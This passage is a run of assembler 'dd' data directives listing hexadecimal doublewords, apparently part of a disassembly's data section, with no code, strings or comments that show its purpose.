22274C41h, 25066B10h, 631EE257h, 0EEC3A83Ah dd 1BAB8F8h, 736BA52h, 6E3118EFh, 0D296F3A2h, 65FF562Fh dd 3E086BC3h, 0E9CB8427h, 0F48EC85h, 4CF2958h, 48D3CA4h dd 1F50F68Bh, 97C648B8h, 44EA5C81h, 90704FCEh, 0B92CB99h dd 62F6AE7Eh, 0E3F12097h, 4CD96417h, 8405670Dh, 0AA563F6Ch dd 14264C2Ch, 8419556Bh, 3B437C06h, 420934A9h, 0E0635948h dd 9F6C6F5Fh, 0F1F07CC4h, 68100A61h, 0E67E3F9Dh, 89872553h dd 0F1657F20h, 3241DDA0h, 0C442FC2Eh, 15317581h, 85AE04E1h dd 8BC6B82Dh, 0B3B6FD1Ch, 7782FDF8h, 0F025ABE6h, 62375CE0h dd 0EED74770h, 3F46913Fh, 0F371B093h, 0E1B516EAh, 0BFD323ADh dd 7F318022h, 0D3ADA56Fh, 2BE9043Bh, 0C6DEDFAh, 5099064Ah dd 77F665D8h, 594AFF0Ch, 0DB09A655h, 3D5169C8h, 0F49D10C1h dd 6A4A82C1h, 0DD782915h, 7BC10882h, 0F2E22ED3h, 62A0C7CBh dd 0AFB35350h, 88395275h, 58E216DCh, 0C91E1FABh, 0C2DFCCFEh dd 0DD4782ABh, 241AD5FCh, 3B3CDDC1h, 247901F3h, 8206DDF9h dd 59EA1F26h, 34C21FDCh, 0FD9789F5h, 1C902DE0h, 0E5091092h dd 0C62FBD68h, 51150955h, 68803781h, 45197F21h, 0F795E0BDh dd 0CD090D9h, 65FE61C7h, 620163E2h, 0E9573E60h, 75C28F28h dd 0EF0B08F3h, 0CA3169F9h, 0BA91167Ah, 0F31C5E3Dh, 2E1B6055h dd 684ECE87h, 789EF978h, 0CC2A5160h, 0D4BAA2EDh, 0A2E59859h dd 78E65D38h, 29493BFAh, 0E955A037h, 0A33AF953h, 131349BEh dd 2A29E4C6h, 165BE37Ah, 6D201A5Bh, 127E510Fh, 0A2EE8909h dd 11804AB5h, 956E6268h, 3A0BE818h, 3DF74CBDh, 2D0076CFh dd 0D7642CBBh, 0E4BD3146h, 0E6BD205Bh, 40CD71B5h, 0E9545358h dd 382D2525h, 58525083h, 0F7050168h, 0BA4A5A3Eh, 662ED8C0h dd 0CB0C48D7h, 91CCB2Dh, 6A5F22B5h, 4AB6FF6Eh, 0A4B3490h dd 5CB2B5A9h, 0C85AF27Ch, 9E84E9E6h, 70B526E5h, 0C5DCC68h dd 403F8077h, 28836FD3h, 9F201C0h, 640936FEh, 460465D0h dd 0DAF73CCFh, 0AA0467E8h, 404BB051h, 0B568C6EBh, 0E82F31Dh dd 0E2647ED0h, 2DB80077h, 78C52AACh, 0A105FA0Dh, 103E5A07h dd 0C92709Eh, 4FA59F49h, 0A4DD7059h, 591560EBh, 135DC068h dd 76958BEFh, 76EB820Dh, 87D62951h, 2BD18202h, 0B33602Ch dd 0E320857h, 820D901h, 0F5E5B76h, 7EFE316h, 3113C91Fh dd 0F9C015C1h, 9E763007h, 3D03F52h, 1A216D31h, 67E0015Ah dd 0F029041Ch, 8407442Dh, 80FBA8CDh, 4B276914h, 0AB30A2Dh dd 0F8E251Eh, 0AED31DE9h, 25ADB26h, 5654F53h, 94755B56h dd 9F9B71Ah, 7C327842h, 0C03596DAh, 2843B41Ch, 6059CC25h dd 80DE7997h, 0E7588853h, 0EA2D7A42h, 6686F6A2h, 7BEE74BBh dd 4E1BAD3h, 0AC4E373Ch, 4DF6C005h, 2C87ADE8h, 968C38E9h dd 0ABE18543h, 9A26D098h, 3D68174Eh, 1A8B35Bh, 7FA76F61h dd 126A09E9h, 0AC04BA97h, 0FB54033Ch, 0E9B0EE4Ch, 16921C9Fh dd 42D8069h, 0EA12B849h, 0F8AE7A91h, 5E91BF00h, 0AD6AD662h dd 6D05001Ah, 1F75B02Dh, 913F5BFCh, 0C67A9065h, 16D40A50h dd 0BE86196Ah, 45724A44h, 8051B500h, 284E31EDh, 0F0CBD0E0h dd 972076C3h, 0B5A06C7Bh, 449E88E1h, 215887CAh, 0D7B89FD8h dd 7F3C95BDh, 0EA29160Ah, 85E620CDh, 88EA74EBh, 0F672084h dd 1BF292F9h, 5A705C32h, 2DB13480h, 89066799h, 0C022E9D1h dd 49B0B67Fh, 0D53E1C86h, 0BEF8107h, 7F99A607h, 80DE662h dd 0D22B4163h, 84BB045Ah, 4024FAFBh, 0FC2358C0h, 9C81EC6h dd 0B016CD6h, 1A57360Dh, 0BF8FF591h, 7542FE86h, 39A0C201h dd 0E2D16D29h, 31471083h, 46D6D35Bh, 83380EB0h, 823E3F1Eh dd 0ABDA6EEh, 0DBAD4F0h dd 83D5CD10h, 2448E0AEh, 57CA0147h, 12EA426h, 81604F7h dd 15E210FBh, 780AE90Ch, 7E0F78Bh, 415404Ch, 503308C5h dd 507E90E8h, 905F08EDh, 8A3F5F38h, 3F014F9Bh, 8CD15DBh dd 75C1DA61h, 4C2F6800h, 0F9C433BDh, 26241983h, 0F1B7582Bh dd 812EF3Eh, 0E058AF9h, 0E958E980h, 2329C199h, 9B334C65h dd 0E93B5B7Ah, 20019293h, 6F10780Eh, 7D370C82h, 2F62038Bh dd 3408A508h, 0E514130Ch, 0DEF320ECh, 0EA3F3226h, 0DDAF30Dh dd 0B23DBC3Fh, 0ECC5559h, 51923EC1h, 0C13023AAh, 734E1838h dd 67544A70h, 0D4456427h, 50633B3h, 66761800h, 5750181Ah dd 3EA0168h, 0E95F06E0h, 0D8147F62h, 3A5E1228h, 0CEA7ABE8h dd 30D24FA9h, 7C414020h, 0E062DFC1h, 1C2EF176h, 432C7BFDh dd 0DDFA3C12h, 2E91673Eh, 0D5A5FD79h, 0A05593B2h, 336856F5h dd 0F3E0435h, 0FAF4C0E9h, 0F1807235h, 1657FB8h, 6AE78102h dd 0D856D41Dh, 6117D2CFh, 5CBC5FD7h, 0FAA1BB8Eh, 7FF9010Bh dd 653F6629h, 2704EFC9h, 212FBCEh, 13BDA5C3h, 0BAEB7440h dd 6A1C3D12h, 8A750EEh, 786B455Eh, 206B21Fh, 9040A5EEh dd 3900D78Ah, 506C03B8h, 0E8294813h, 0C75047CAh, 870A136Dh dd 0E9BE812Eh, 58092AE1h, 8282F75Ch, 0AF68C53Dh, 0C9311689h dd 9A5B03Bh, 45D027BDh, 0E8B180E4h, 317ACB0h, 5BAE1D0h dd 0AB3BB92Bh, 6B54B38Ch, 0FE4D10EDh, 4ECD2931h, 999DA62Eh dd 9915020Ch, 719F42CEh, 7BE85005h, 6ACA5831h, 3B33AF4h dd 95DA899Fh, 6502BD48h, 0DBC361C0h, 0A92F0367h, 844EBC0h dd 1DAAC021h, 0F31285C3h, 0F8DF8FADh, 0CA7F9251h, 54FC4F5Dh dd 0E540A4F6h, 305A0966h, 82DF59E8h, 41FE3C16h, 2DDFE27Eh dd 8976DA5Fh, 27BAED81h, 0F5D81D3Eh, 183500E3h, 0E9EF21ECh dd 10929DA6h, 0BD55DA04h, 22877E1Fh, 0B2ED586h, 23F0943Ch dd 658B8C5Eh, 751DABE0h, 69A62726h, 0E8259590h, 7194552Fh dd 8186E916h, 40DDB1F4h, 0BD256894h, 66D5662Ah, 11314D80h dd 7CCC5E5Dh, 587DEA25h, 0C4465B70h, 2EB701F4h, 6C21AC37h dd 12BFA4BEh, 25B9BD9Bh, 0C8BE5753h, 315964B7h, 72A1BD64h dd 4F520D6Eh, 5FE3B855h, 0AF0AD3F5h, 2A85612h, 6F9C01D2h dd 2067E819h, 7E050746h, 0D9F7488Bh, 0E939C0FBh, 37247CEDh dd 94020225h, 8A75533Ah, 1C1EBDC6h, 4E5CE31Fh, 0D036E94Bh dd 0F658126Ah, 4A101D1h, 8938D068h, 0E57D5B89h, 0FEAA0823h dd 1927D527h, 3F876923h, 505BD128h, 0C9AD6088h, 3645D55Fh dd 8EBC9F97h, 57A61FC4h, 3EBBA0A0h, 43804B58h, 358BE381h dd 509F657Bh, 0B1C8CA94h, 0F4FC2FA1h, 7667902h, 9FF5C025h dd 5C73301Dh, 906BF318h, 0E5F8565Fh, 8F880C12h, 0B18F4CFFh dd 983AD768h, 0E4178B5h, 23DF042Fh, 7E5E85Ah, 0D0B473Bh dd 54EEC6E7h, 0C1435008h, 0DE79D450h, 975A3CE3h, 8AEEC2C5h dd 0BEE84BD1h, 836BE24Bh, 0FC297BE9h, 0F1E49DABh, 4A913C6Bh dd 916AB2E1h, 2E6F2D60h, 3DE0D1C5h, 0EDDA40Fh, 6E2EBDF1h dd 0E6F52909h, 26209262h, 0A5797C68h, 0E970AFD4h, 0E42BA57h dd 0F90692BAh, 87F28140h, 29E2C504h, 641DD75Ch, 0CFAA5FC1h dd 0BBE90FE5h, 5AD6DFD7h, 745D6CF8h, 5084B0D6h, 40F0E0BFh dd 0EC3B4F59h, 0C4E98534h, 1323D15Ah, 0D345E198h, 64A8D3C2h dd 60561EAEh, 404E1BC8h, 6E2F68EBh, 4C05710Dh, 3924B926h dd 81189406h, 51BD4E80h, 4A5B178h, 3E429742h, 10FAA8F2h dd 5DAF0913h, 0C72C92FDh, 0BA80096Ah, 44543D89h, 9AAA6612h dd 700238CEh, 68660B86h, 6E6B7611h, 0BC6903B9h, 4E2159DBh dd 0E9A8FBACh, 702BE038h, 20C5E695h, 0C0050A79h, 0D4F602E4h dd 7D270A1h, 13C13258h, 0BD3E1CF6h, 0AEC289CAh, 61340E28h dd 7EB050E1h, 0D070E9ECh, 0C10CD006h, 0D90AB353h, 0D3FC5B76h dd 0C389CF4Ah, 0DD5B1978h, 40F06917h, 582DE989h, 501FD4DFh dd 4A82D69Bh, 1CA4A89Dh, 0C2FCFA65h, 73AEB902h, 0E4412C06h dd 7E4D25A4h, 0D09EAFF6h, 19B44A5Dh, 0A3FC4A25h, 0E2BE2769h dd 4FCDFE17h, 0FB5EE844h, 0EC5E118Eh, 4E694DC3h, 6AB479EAh dd 0C4689442h, 80A9797Ah, 459C6D33h, 9A053DBFh, 0C7297FE2h dd 17D2CEFBh, 5A7D485Ch, 0DCEB1611h, 35DBF701h, 0DFC2EB0h dd 92F4E424h, 0B05BEC5Dh, 5C605FE3h, 1820A562h, 8BAB402h dd 0F75866E1h, 844A9C49h, 0CE286A06h, 0A5B7ECC3h, 5F630E82h dd 20F75241h, 0B0AADFA5h, 0C32D458h, 0A2629D2Ah, 57C688AAh dd 6AC243B1h, 3EEF116h, 0E32886AFh, 0F94A07DBh, 0A73A9B6h dd 77CA68FBh, 5B5D8560h, 0FD92BF5Fh, 6AA4C007h, 2846093Ch dd 0B886CD31h, 0DE77316Dh, 0D225FD27h, 0F212071h, 44CB48DDh dd 5285F467h, 0FB53CD84h, 15030B02h, 78C5F501h, 0D6A25497h dd 3D12EED6h, 0BB02B1E8h, 140978B0h, 0ABA1C260h, 0D63ABF25h dd 0F8890959h, 52A3666h, 77242101h, 0D58FF0B6h, 13FD3F35h dd 44D31D94h, 5B08D94Ch, 2DECE22Ah, 893EF68Dh, 0A1B856CBh dd 9F2EE951h, 81AFC3E2h, 2EF56F02h, 58AC012Bh, 8A4C43E9h dd 734FFF41h, 4A3E06BCh, 9FE864E2h, 4CADF480h, 2927130Dh dd 212FF74h, 0FAD60C09h, 6BED324Fh, 5D250221h, 0B2828D89h dd 0C10146EDh, 0E33A06E3h, 48A350FAh, 6651677Dh, 5DE02EF6h dd 7CAA83EBh, 0C1AEE87Fh, 0DE681651h, 1727B35Ch, 0B48C4D77h dd 117B1428h, 0FF349E29h, 0B562C403h, 6974ECF6h, 96130F3Dh dd 0A6A40C8Eh, 28DEC6Dh, 2BDBBD36h, 30402717h, 0F51F8159h dd 7B1D7EFEh, 5F44ED8Fh, 0EB896A82h, 9D75D85Dh, 0C2E9A32Eh dd 0BE001F16h, 7F863FC6h, 81CDA1E9h, 8A816F66h, 0A33B9F41h dd 10AD4E92h, 0EC1EA185h, 40049A0Dh, 7CD35Bh, 0DB05BAC2h dd 2923694Bh, 72DF828h, 75EEFC80h, 58D55317h, 120B7814h dd 0CF4920Ch, 4F805ACDh, 8A2F515h, 0B68B5D0Dh, 0E04C5542h dd 259BC4B5h, 0B9987B4Bh, 5B81A1AEh, 5645607Bh, 7F77E3BEh dd 0F6817A01h, 15C66662h, 0B7E7E8F2h, 0E962C255h, 1B4A0B3Ah dd 5F732B57h, 0F7CF1145h, 44C1FEEDh, 222CF046h, 586882B7h dd 555CA761h, 49425F91h, 7045CCEh, 9AFF078Ah, 3CCD00F5h dd 0AE9A326h, 5C1C1A5Bh, 0D08C7557h, 0F6984476h, 5D7D3F13h dd 505FAF06h, 7C91A817h, 3C912760h, 90681EA1h, 0A5397E7Eh dd 108AB23Fh, 662FD305h, 0D1EB9CE9h, 30D630C5h, 63238CDh dd 64AB0DA8h, 0AAAD30D2h, 5C34FCF0h, 0D03076AAh, 0F23A2D04h dd 0D454DF25h, 0CAC98342h, 0BACD0446h, 6369BB41h, 1C82493Bh dd 17EF07CFh, 51183EC0h, 52CD60Eh, 6F6B601Dh, 0F221F2Dh dd 0C829038Fh, 0C5470794h, 17C41744h, 0FC228668h, 5F074009h dd 167065BFh, 55C3D12Dh, 58CE6DBDh, 1DE72029h, 96C0D1B7h dd 944B0904h, 9FB2E0B0h, 0F2E2D03Eh, 0CA07E673h, 25B5514Ch dd 0E117CD93h, 0C5FCBDF5h, 0F2EDFE01h, 59EA3F20h, 2E51F2F3h dd 1F7E73B1h, 0D0C3CF31h, 20EBF38Fh, 8B898489h, 91CA1C87h dd 365AD728h, 0F7B01C5Dh, 31CEC714h, 0B5F12EF9h, 0E5CB2860h dd 2DE90D30h, 0D2541A2Fh, 888A5549h, 304D4D98h, 4C97AE5Bh dd 91972088h, 2F42BD00h, 0CD810BD0h, 11470EBCh, 0DFD48750h dd 824D0864h, 4A0C152Dh, 17BE80D6h, 5901600Bh, 0FE0903B9h dd 3084FDA6h, 0EB813F90h, 0B0087833h, 6DD6B91h, 0A1B2F00Ch dd 3F5E7D40h, 0F0A6C629h, 48D80F40h, 6B2631C6h, 0CDD1B028h dd 31E7B92Eh, 2443FCA5h dd 0B8E9252Fh, 1BE13AE2h, 7F314F64h, 0E31A2EF8h, 26A0A4CAh dd 21E61281h, 0C20ED3B5h, 9833F977h, 0D801697Ch, 1FC4EC8h dd 0E168F031h, 8218571Ah, 88C63B72h, 54DEB09Dh, 4CB30160h dd 0F6E95F52h, 82AA8D2h, 0EE88EF12h, 0E2E630D1h, 0DDEBD00h dd 0C8B07AF8h, 9B296F40h, 87B02C3Ch, 63362FC6h, 81894B43h dd 6845E4E3h, 7A04225Bh, 0C7AFA66Eh, 65F430CCh, 4F5AE91Ah dd 445E0AB3h, 0DB4458h, 5CC8E681h, 0C1F60D4h, 76F04DFAh dd 840BC6F8h, 0C0EB6FB3h, 55BAE9C2h, 0E1E0252Ah, 0B690B716h dd 930C6852h, 847A2A1Ah, 205F09C2h, 0BFFB456h, 0FFC041Dh dd 0EB0202FDh, 62DC020Ah, 21908455h, 5D226AEDh, 0E9C20905h dd 3A531A95h, 74B74901h, 0F17F7B38h, 884CA20h, 0F631FE58h dd 0DF55B9E9h, 9798EFAh, 72CFE95Ch, 33F507F3h, 0B401F807h dd 7531A8D0h, 5C957576h, 930543C1h, 0EB283012h, 389DF09h dd 4E9E4541h, 0F429AEA2h, 0D436C9C1h, 7259DE04h, 2545FE1Eh dd 0A16BA52h, 130838A0h, 0B909F0E9h, 0BD832E4Bh, 0B1AFD03Fh dd 25113710h, 5B2E200h, 36E97BE6h, 0F2AFC29Dh, 68D0522h dd 8F5F47FCh, 6DD4A68h, 5A8ADC6Fh, 641EF497h, 5EF49128h dd 612204Eh, 29B6591Fh, 0E199774Ch, 39A609EDh, 8B577973h dd 18A07D8Dh, 435722F5h, 4284264Fh, 58EEC0FAh, 755E1768h dd 0FFB220CCh, 4D6C8104h, 9EF02488h, 9BF3B04Bh, 0A7C3304h dd 0BD03AE44h, 0BC951AD2h, 37A101AFh, 0DE68391Eh, 0C65208FFh dd 7605E800h, 52CAE964h, 0FD1A3804h, 0ABCC5AEEh, 88B5B1F6h dd 0DBA7FA65h, 976C6BCBh, 1191FE5Bh, 54019AC0h, 9FEC3A5Bh dd 5158B6A1h, 3B9370ACh, 0EC13A428h, 6AD0BF2Ch, 491AA302h dd 0E826E978h, 0EE5859A9h, 85C3F30Eh, 0E9E162BDh, 5E42CFEh dd 5202CCBEh, 0A5CEFC00h, 0A821A73Eh, 6062E7E7h, 3AEE0C8Bh dd 2740293Fh, 59E317A6h, 3A8EB1DDh, 0E22FE0F1h, 6850829Ah dd 4D2AE11Ah, 7D10D029h, 16433BC4h, 0A789F9FBh, 973CB6F8h dd 5C4A5A9Ch, 416B45AEh, 5928EED8h, 0A8D60FCh, 0EC0789B9h dd 21F65171h, 7C9521B2h, 0CE9A0866h, 707BF09h, 0EAA23A67h dd 58B803DAh, 81E375B0h, 61228F4h, 0A5875DEDh, 5812082Ah dd 9D5094E0h, 2BAC0E2h, 0B330AB04h, 4DE00103h, 0E1D115E8h dd 442C9B2Ch, 0DEFEA724h, 66E91076h, 989B5084h, 433EADE4h dd 87A26A01h, 5FDA310Bh, 7620A816h, 0BF56B5E5h, 78E257C7h dd 950E6C15h, 2B5F50E9h, 31A03497h, 4CFCC4F1h, 640A3355h dd 8DE0261h, 0B00B9BD2h, 0FE408322h, 3D98D9C8h, 0DCBF326Ah dd 0B03C9855h, 21D89FCDh, 4723BB2Dh, 98D62836h, 39180BEEh dd 0E8F8F701h, 150C5202h, 4374E235h, 77C7EA81h, 5EC5DBF9h dd 0EEF533ADh, 0B35E468Ah, 837D2F7Bh, 83AA2CF4h, 8F49DFF0h dd 6869EBC7h, 5AFFE935h, 2CA88E6Ah, 7121F56h, 6760A7CDh dd 6DC3956Ah, 0E686D498h, 192768F2h, 7DBE7D01h, 17E88F4Ah dd 7D0983F2h, 0E9069CC5h, 3E53C02Eh, 0E793A1C6h, 5A50AF60h dd 0E4592708h, 0E18925A5h, 0F3BE7D61h, 3A6B04FAh, 10C313F0h dd 0F9FC895Fh, 4775DE1Eh, 7B5AE91Ch, 0B050E3A0h, 0D81EF6A6h dd 5201C0FEh, 0F020ADB6h, 7CE95AF8h, 8D18BDEEh, 4E81D709h dd 490C5E2Ch, 9EAA22D5h, 0DE695317h, 0D0512C4Bh, 36C20B7Ch dd 3E0046FCh, 30AC0BD7h, 0F703129Dh, 0CCE95440h, 4237049Dh dd 4408AC2h, 20A7FC54h, 355B5F75h, 7972F386h, 2BAAD665h dd 72ABD354h, 20346BEFh, 0B2203AC1h, 0CBD62902h, 60F1FC13h dd 93D2A76Ah, 7FB466FBh, 5E126850h, 54EE2969h, 0A5CAC926h dd 5B605312h, 407F65C2h, 278703BDh, 1136FC6Bh, 4B141CD0h dd 0E24DCD8Bh, 0A811C6C5h, 0D45F769Ah, 8888DE09h, 371EECEAh dd 81B6C3DFh, 1371E44Ch, 105D4A09h, 724C0747h, 0E352298Fh dd 1E050343h, 1564B77h, 0E7786ACAh, 0E6E94A69h, 0C6FF66E2h dd 0C2C60133h, 89DFBF4Eh, 0EFED42F7h, 50FB602h, 0ABA0AA43h dd 8F7C1D90h, 0ADF38179h, 2A1D7166h, 0E4EC66C5h, 6E0BE15Eh dd 0B199ACE7h, 63172E2Eh, 0EA3035BFh, 9B528E9Fh, 0F6C8D41h dd 82DBBD5Eh, 12EFC68h, 3AD61CE9h, 0B4971FA2h, 1ACBDB11h dd 7BB27789h, 6A844160h, 0D8F4EF51h, 322D7707h, 6BB37596h dd 0E680D8C2h, 67A0821h, 0F6C727BFh, 68FA4011h, 0F492E360h dd 1B4E5CCAh, 65719602h, 115D503Dh, 94E5E903h, 0CE17CD2Bh dd 790C61E0h, 8156FA28h, 0F06D8901h, 0DB93E92Dh, 0F095A76h dd 1DAF74Fh, 69DC79B7h, 36784EDCh, 99199553h, 0CED33E1Dh dd 0DD59FAC6h, 53C7DF20h, 134B31E5h, 4AB2A8B4h, 0CB02A4FCh dd 5448D154h, 0DA5541A1h, 940914F8h, 0D4162305h, 3ECA837Dh dd 104C0A12h, 0B59C1284h, 6809ADA3h, 17F50B90h, 0EFFCAF7Fh dd 0CB887D87h, 59C8D842h, 11D8B685h, 3CECEC5Fh, 0C1FD8885h dd 6EC58A51h, 87131ACEh, 0C279ECFAh, 717A1068h, 0CFBA3133h dd 0D0D86BADh, 0F84E4181h, 0EA9DB7DBh, 37BF698Ah, 0F32063E9h dd 625C41A7h, 5955046Fh, 26877B60h, 11F10F91h, 13312320h dd 490B7966h, 51B25850h, 8DE85175h, 6053DE06h, 0EB7A8147h dd 63383D12h, 6A4847EBh, 72E4FB0Bh, 1010B235h, 1D1580FEh dd 8080DC08h, 289D0EF4h, 0EBC158E5h, 7851E989h, 0AC86506Fh dd 2D273D13h, 42EE7200h, 9A29350Ch, 0B1088280h, 0B23B0192h dd 2B03D32Dh, 82D93220h, 49515529h, 80E878A5h, 12D42D0Fh dd 521FA451h, 0E6E5E871h, 0C331320Ch, 0DC56D6ACh, 1190CD65h dd 285EA668h, 4B0D6463h, 43E6A1B2h, 7FC2031Fh, 2EC72155h dd 0DAC99404h, 0B28377F4h, 4ABAEC13h, 0F355E40Ah, 50B74813h dd 0E79438FEh, 1D39EE02h, 0F8ACE946h, 0CB285028h, 24A961FCh dd 230E1168h, 0A6B65F9Dh, 0EA52F530h, 72097BCBh, 0F8F7E96Ch dd 54149DA0h, 0EAB664Ah, 5090EA57h, 57417C32h, 379A6872h dd 6EDD39CAh, 2432BF1Fh, 3EFC30D5h, 27949736h, 14EFE59h dd 0CCC87ABEh, 4B2C2961h, 2EDEC4Bh, 3F49C7C2h, 9B18684h dd 1BE20443h, 0EB2B7337h, 46B90B80h, 0FC194B9Dh, 2C493466h dd 782989AFh, 9AB703CFh, 9959CF80h, 0F7D86AEFh, 0C7E91350h dd 5F2032F9h, 0FE25445Ch, 35C1DA42h, 51C07C9Ah, 46F2DE97h dd 7ABEFADFh, 487DE103h, 899166F8h, 8B0D1F7h, 3E3D4F2Ch dd 0BD557001h, 2979BAACh, 0AED4E7C7h, 0C04068ECh, 0A280B754h dd 6968D830h, 0D6696F4Ch, 0FE51D10Bh, 114D89E7h, 5E00E7FAh dd 0D584312h, 753F3D6Bh, 13250010h, 62357ECAh, 1B183E46h dd 0AF64C521h, 182197EBh, 0FB3A0F66h, 7F5CECD9h, 0FD48B98Eh dd 39180C86h, 7BC3EB0Bh, 0E338BD7h, 50001C57h, 0E806B568h dd 0BEE7F670h, 0A5D11D8Eh, 3A419DC9h, 0C7995402h, 0E027482h dd 55811005h, 2FC10176h, 82689360h, 1716BF7Eh, 1B88A280h dd 8A1C8627h, 4801494Fh, 2909E30Ch, 12E98424h, 5F37663h dd 0DAAA9EA7h, 4DFA400Ch, 1A445F04h, 0A184CA01h, 0B1590809h dd 0F86BD29Fh, 0CB8015E1h, 0F6F107BFh, 12A3B743h, 0EA650FB2h dd 0FDD45B1Ch, 46970376h, 0DA291BE7h, 31086C40h, 0A7F5D372h dd 65F28008h, 0B660B56Bh, 5E273857h, 0BEF4CDECh, 4977B4Eh dd 0F652F8B9h, 33CA5FF9h, 97C4D432h, 16C7F283h, 7FF34E41h dd 5A03E4Fh, 50BD120Fh, 82CFF8D6h, 0D9CBBCE9h, 0B1A7978Eh dd 0F3A66BADh, 0F82E5692h, 90E9E0AFh, 3BCC9D1Fh, 0E918E98Eh dd 0B80A4502h, 0CA530C8Fh dd 386C0503h, 0E8C12012h, 65A17A06h, 0B8F9775Bh, 0D9599D9Ch dd 0AF4EF42h, 1DCF8201h, 0C9610BAEh, 4AF13392h, 0F7205EF8h dd 0F1C68106h, 2028D350h, 5B0795BCh, 53C9B652h, 0EAE28843h dd 9DB95018h, 160A7EF2h, 0DD26282Eh, 6B6CD101h, 47495D7Eh dd 97942AA5h, 52B36996h, 0AE824ECBh, 0B295AB38h, 0C261A1B7h dd 0BD593C64h, 7F2C47ECh, 0AD8955C6h, 8BDE7141h, 12854357h dd 0D826F009h, 0D89C6441h, 4C86C220h, 86E20124h, 0CCE90601h dd 0F3F55066h, 0D664A6D4h, 1BE01F8Ah, 8292968h, 0BC7FADFFh dd 39C86DAEh, 0C3B33126h, 0E55DC42Ch, 9E629900h, 0BECD316Eh dd 895E50EAh, 95DE827h, 0DC198BA0h, 99542D06h, 0B25F2EF0h dd 1A61042Ch, 0B03177EFh, 809B88Ah, 0D47FA62Bh, 74AB4E31h dd 9921AD7h, 5F0FEC11h, 0D6BDF85Ah, 0CE6034AFh, 28EB4F1Ah dd 3859E986h, 50680983h, 85D63137h, 7F0987CFh, 7FA70EC7h dd 564CDE34h, 5D3A31CCh, 784982h, 4A257DDEh, 1473D5DCh dd 0ED45E9FBh, 0B23E7681h, 0B3B27F7Dh, 0B74058C9h, 0DB98CE29h dd 8978D514h, 0E6F028A1h, 0EB4A0882h, 822D2138h, 20C67203h dd 924CF205h, 0E573635Ah, 85680702h, 82C3D11Dh, 37D63918h dd 66DBE440h, 0C35B830h, 7C0E765Ch, 0B2C15E1Dh, 7FC90229h dd 643F8E29h, 403BF38Bh, 1CCCEAD1h, 5ABD6FB7h, 57088273h dd 0F2C49151h, 0FAB311AAh, 0B791CA9Eh, 28128B96h, 5DC91B7Eh dd 56AF2E47h, 0BB53581Ch, 9127E278h, 0EB8F007Ch, 5F6EFB1Bh dd 0A2A01683h, 0D3FB42A4h, 967CB00Bh, 5B9B35ABh, 0AB41840Dh dd 43ABCAD1h, 98938C2Dh, 0F14DCE25h, 70C30284h, 0D6591C7Ch dd 4E08A043h, 0D776A85Eh, 0B5E90F28h, 0BBA0C68h, 3DCE4517h dd 1A06D801h, 0C20053F5h, 1F105743h, 37482933h, 0F644E240h dd 0CF3AE7E3h, 0BA224EE6h, 0B789F75Bh, 825B997Ch, 0C62D03A8h dd 0C05FFC92h, 3D71132Ah, 8825A72h, 89900A1Ah, 4A4E02D0h dd 8C9043F2h, 94532E00h, 0E9F3292Dh, 6EE188E4h, 918231FCh dd 0ACE0546Eh, 40382EF6h, 0CC769D2Dh, 13E9E8C5h, 70BEAC90h dd 770F3D4Ah, 0B908F417h, 35CBDE51h, 42507CE2h, 0EB84D7F7h dd 5CA4075h, 9F066268h, 7EEA09C9h, 0CDDA201Eh, 4FFD8238h dd 6935DE3Fh, 7CADE465h, 6084ED29h, 5F4CA4D6h, 0B5E9C3E4h dd 0D3113B15h, 0B9F26B92h, 26DE01E5h, 0FA293D12h, 29A7C62Ah dd 0A276E358h, 0BDDAD85Dh, 366E6779h, 8E3F81B1h, 0EEE2185Ch dd 1863C771h, 0C24E67Bh, 0F9287713h, 0EFFC9047h, 6C494E01h dd 7C6E9BBh, 0BED3C46Dh, 0A8CDBF61h, 21C16944h, 0EA23E2A9h dd 4FFBEC5Eh, 2F837DFBh, 50A1C4F8h, 0F92908B8h, 6DA4DE99h dd 2E8B2FE1h, 2C649343h, 2D49AC11h, 0D91A5F31h, 3C53A800h dd 212C2071h, 0E6E4F5E9h, 276824E0h, 2A9A0B1Eh, 3FB2E800h dd 580515E2h, 0E883D0F7h, 5AD90AC1h, 0EA0EA14h, 0E5D717BFh dd 0A204AB8Ah, 0E6ABF050h, 0F9F04E59h, 9E8497D6h, 52C5FFACh dd 12E3D4FAh, 0B07DBD9Eh, 0A85C53E9h, 7F2B3C7h, 0F6B9EB80h dd 0ECB53DBh, 0A85F063Dh, 0DA09C7F3h, 0EC7BB2E9h, 21A32D88h dd 988BBB79h, 0B99CDD65h, 17798144h, 92A226Dh, 0E9F1E001h dd 8F57BF17h, 0B09252FAh, 0B24E837Ch, 68F41DCDh, 0C1236411h dd 0E89FA186h, 47950D81h, 0BE40BCB7h, 862CED60h, 6EC3FED3h dd 280C2168h, 0EFA68ABCh, 0C9A6E935h, 0E93BEBF1h, 0FC5CCBB5h dd 3B0D6D6Ch, 0EEF234FCh, 7BE42C8h, 5BD2620Ch, 975E5131h dd 0E927FAECh, 83DFF6CBh, 2C5B8DEEh, 5BA8C44Eh, 7E9127Eh dd 6A67AB8Eh, 55D4B1A5h, 1AD9E110h, 70765DC3h, 68520317h dd 13114BD1h, 257648DAh, 0C28B5C1Dh, 941CD5C0h, 1926577Fh dd 0FC4260F2h, 769AF73Eh, 25B6BE57h, 24628EE9h, 0A4B05957h dd 0FA120DCh, 0F68159B1h, 2FE90DD8h, 70DF2B5h, 0E06D55B9h dd 49ABB262h, 3D88F7D1h, 0F7810515h, 0ADC48292h, 64541BE0h dd 4B062A58h, 84183ACh, 0C080912Eh, 0C4F3230Ah, 0D8BF5DEFh dd 9464184h, 0E98CA312h, 0C8828469h, 98E65B4Eh, 0CD5C314Bh dd 0B9FB8440h, 0E7B15102h, 0BD75057h, 80595BFEh, 0F10E200Eh dd 66EBC1AFh, 260A844h, 30E90314h, 4A42C047h, 0F281EAD1h dd 0EE2C8413h, 0ABACBAC1h, 0B3FFE43Fh, 68E5706h, 6038D101h dd 68E18F33h, 0FE937144h, 0F237A602h, 8502FD51h, 2941D8F7h dd 0F5290177h, 92DC4D70h, 3EC858C4h, 6C8B416Fh, 0B97587DAh dd 2A484305h, 14FFD1F7h, 0EF92A699h, 5E696582h, 0A84B171Eh dd 0B4A589Bh, 0FE217B12h, 481C01CAh, 7C899E07h, 42BD2D2Ah dd 0CF445E76h, 89089A85h, 12886F1Eh, 50874012h, 12BD4292h dd 0E5E2B10Ah, 8BCA50C7h, 0D9283D16h, 3ABB6975h, 1C680AD7h dd 50B17D0Bh, 0A8294CE0h, 0E8D98912h, 41E9F1D7h, 0BFD3166Eh dd 57F84029h, 0B897C0DCh, 284F4274h, 20A9295Fh, 2C13FE3Dh dd 0F950BF20h, 171C6808h, 71BF5A17h, 6CD789D0h, 